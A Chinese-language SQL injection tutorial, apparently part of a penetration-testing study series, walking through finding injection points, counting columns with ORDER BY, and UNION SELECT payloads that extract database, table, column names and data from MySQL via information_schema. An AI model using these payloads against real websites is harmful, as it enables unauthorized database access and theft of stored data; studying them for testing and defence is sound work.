SQL注入的本質
就是把用戶輸入的資料當做代碼執行
注入條件
1.用戶能控制輸入
2.能夠將程式原本執行的代碼,拼接上用戶輸入的資料進行執行
例:
http://www.xxx.com/new.php?id=1
http://www.xxx.com/new.php?id=2-1
注入的基本流程
1.判斷是否存在注入點
1.最古老的方法:
? and 1=1 頁面正常
? and 1=2 頁面不正常
? 注:and 1=1 and 1=2 被攔截的可能性太高了
? 可以嘗試 and -1=-1 and -1=-2或者直接 or sleep(5)
2.最簡單的方法:
? 頁面后面加',看是否報錯
3.常用的方法:
? 如果是數字型傳參,可以嘗試-1
2.猜解欄位數
order by 欄位數 //顯示報錯則欄位數為前面一個值
3.聯合查詢找出注入點
and 1=2 union select 1,2,3,…… //可以將欄位都寫上去
4.爆庫、表、欄位
查用戶權限:union select 1,user(),3
查庫:union select 1,database(),3
查表:union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='庫名'),3
查欄位:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '庫名' and table_name = '表名'),3
5.查詢我們需要的資料
查資料:union select 1,(select group_concat(欄位1,欄位2) from 庫名.表名),3
注入常用函式:
group_concat(欄位1,欄位2) //回傳由屬于一組的列值連接組合而成的結果
ASCII(char) //回傳字符的ASCII碼值
DATABASE() //回傳當前資料庫名
USER()或SYSTEM_USER() //回傳當前登陸用戶名
VERSION() //回傳MySQL服務器的版本
SLEEP(n) //休眠n秒
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/55240.html
標籤:其他
上一篇:滲透測驗學習 三十一、MSF
下一篇:SQL注入:盲注
